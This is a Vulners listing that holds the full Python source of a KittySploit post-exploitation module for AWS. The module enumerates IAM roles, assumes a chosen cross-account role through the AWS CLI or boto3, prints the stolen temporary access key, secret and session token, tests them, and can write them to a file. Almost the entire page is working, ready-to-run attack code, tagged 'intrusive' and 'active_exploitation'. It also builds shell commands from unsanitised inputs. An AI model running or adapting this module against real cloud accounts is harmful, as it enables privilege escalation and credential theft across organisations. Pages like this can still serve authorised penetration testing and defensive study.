Lucene search
+L

Cross-Account Role Assumption

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

KittySploit Cross-Account Role Assumption module attempts to assume IAM roles.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
AWS Cross-Account Role Assumption Module
Author: KittySploit Team
Version: 1.0.0

This module attempts to assume roles in other AWS accounts (cross-account access).
"""

from kittysploit import *
import json
from core.output_handler import print_info, print_success, print_error, print_warning

class Module(Post):
    """Attempt to assume roles in other AWS accounts"""
    
    __info__ = {
        "name": "Cross-Account Role Assumption",
        "description": "Attempt to assume IAM roles in other AWS accounts",
        "author": "KittySploit Team",
        "version": "1.0.0",
        "session_type": SessionType.AWS,
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }
    
    role_arn = OptString("", "Role ARN to assume (format: arn:aws:iam::ACCOUNT:role/ROLE_NAME)", True)
    session_name = OptString("kittysploit_session", "Session name for assumed role", False)
    duration = OptInteger(3600, "Session duration in seconds (900-43200)", False)
    enumerate_roles = OptBool(False, "Enumerate assumable roles in current account", False)
    output_file = OptString("", "Output file to save credentials (JSON format)", False)
    
    def run(self):
        """Run the cross-account role assumption"""
        try:
            results = {}
            
            print_info("Starting cross-account role assumption...")
            print_info("=" * 80)
            
            # Enumerate assumable roles if requested
            if self.enumerate_roles:
                print_info("\n[1] Enumerating assumable roles...")
                roles = self._enumerate_assumable_roles()
                if roles:
                    results['assumable_roles'] = roles
                    print_success(f"Found {len(roles)} assumable roles")
                    for role in roles[:10]:
                        print_info(f"  - {role.get('RoleName', 'Unknown')} ({role.get('Arn', 'Unknown')})")
                    if len(roles) > 10:
                        print_info(f"  ... and {len(roles) - 10} more")
                else:
                    print_info("No assumable roles found")
            
            # Assume role
            role_arn = self.role_arn
            if role_arn:
                print_info(f"\n[2] Attempting to assume role: {role_arn}")
                credentials = self._assume_role(role_arn, self.session_name, self.duration)
                
                if credentials:
                    results['assumed_role'] = {
                        'role_arn': role_arn,
                        'credentials': credentials
                    }
                    print_success("Successfully assumed role!")
                    print_warning("⚠️  TEMPORARY CREDENTIALS (valid for limited time):")
                    print_info(f"  Access Key ID: {credentials.get('AccessKeyId')}")
                    print_info(f"  Secret Access Key: {credentials.get('SecretAccessKey')}")
                    print_info(f"  Session Token: {credentials.get('SessionToken', '')[:20]}...")
                    print_info(f"  Expiration: {credentials.get('Expiration', 'Unknown')}")
                    
                    # Test new credentials
                    print_info("\n[3] Testing assumed role credentials...")
                    identity = self._test_credentials(credentials)
                    if identity:
                        results['new_identity'] = identity
                        print_success(f"New identity: {identity.get('Arn', 'Unknown')}")
                else:
                    print_error("Failed to assume role (may lack permissions or role doesn't exist)")
            
            # Summary
            print_info("\n" + "=" * 80)
            print_info("ASSUMPTION SUMMARY")
            print_info("=" * 80)
            
            if results.get('assumed_role'):
                print_success("Role assumption successful")
                print_warning("⚠️  Use these credentials before they expire!")
            else:
                print_warning("Role assumption failed")
            
            # Save to file if requested
            if self.output_file and results:
                try:
                    with open(self.output_file, 'w') as f:
                        json.dump(results, f, indent=2, default=str)
                    print_success(f"Results saved to {self.output_file}")
                except Exception as e:
                    print_error(f"Failed to save results: {e}")
            
            return True
            
        except Exception as e:
            print_error(f"Error during role assumption: {e}")
            import traceback
            traceback.print_exc()
            return False
    
    def _enumerate_assumable_roles(self):
        """Enumerate roles that can be assumed"""
        # List all roles
        cmd = "aws iam list-roles 2>/dev/null"
        result = self.cmd_execute(cmd)
        
        if not result:
            return []
        
        try:
            data = json.loads(result)
            roles = data.get('Roles', [])
            
            # Filter roles that can be assumed (check trust policy)
            assumable = []
            for role in roles:
                trust_policy = role.get('AssumeRolePolicyDocument', {})
                if isinstance(trust_policy, str):
                    try:
                        trust_policy = json.loads(trust_policy)
                    except:
                        continue
                
                statements = trust_policy.get('Statement', [])
                for stmt in statements:
                    if stmt.get('Effect') == 'Allow':
                        principal = stmt.get('Principal', {})
                        if 'AWS' in principal or 'Service' in principal:
                            assumable.append(role)
                            break
            
            return assumable
        except:
            pass
        
        return []
    
    def _assume_role(self, role_arn, session_name, duration):
        """Assume an IAM role"""
        cmd = f"aws sts assume-role --role-arn {role_arn} --role-session-name {session_name} --duration-seconds {duration} 2>&1"
        result = self.cmd_execute(cmd)
        
        if result:
            try:
                data = json.loads(result)
                creds = data.get('Credentials', {})
                if creds:
                    return {
                        'AccessKeyId': creds.get('AccessKeyId'),
                        'SecretAccessKey': creds.get('SecretAccessKey'),
                        'SessionToken': creds.get('SessionToken'),
                        'Expiration': str(creds.get('Expiration', ''))
                    }
            except:
                pass
        
        # Try Python boto3
        python_cmd = f"""
python3 -c "
import boto3, json
try:
    sts = boto3.client('sts')
    response = sts.assume_role(
        RoleArn='{role_arn}',
        RoleSessionName='{session_name}',
        DurationSeconds={duration}
    )
    creds = response.get('Credentials', {{}})
    print(json.dumps({{
        'AccessKeyId': creds.get('AccessKeyId'),
        'SecretAccessKey': creds.get('SecretAccessKey'),
        'SessionToken': creds.get('SessionToken'),
        'Expiration': str(creds.get('Expiration', ''))
    }}))
except Exception as e:
    print('ERROR:', str(e))
" 2>/dev/null
"""
        result = self.cmd_execute(python_cmd)
        if result and 'ERROR' not in result:
            try:
                return json.loads(result)
            except:
                pass
        return None
    
    def _test_credentials(self, credentials):
        """Test assumed role credentials"""
        python_cmd = f"""
python3 -c "
import boto3, json
try:
    sts = boto3.client(
        'sts',
        aws_access_key_id='{credentials.get('AccessKeyId')}',
        aws_secret_access_key='{credentials.get('SecretAccessKey')}',
        aws_session_token='{credentials.get('SessionToken')}'
    )
    identity = sts.get_caller_identity()
    print(json.dumps(identity))
except Exception as e:
    print('ERROR:', str(e))
" 2>/dev/null
"""
        result = self.cmd_execute(python_cmd)
        if result and 'ERROR' not in result:
            try:
                return json.loads(result)
            except:
                pass
        return None


Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
5.8Medium risk
Vulners AI Score5.8
0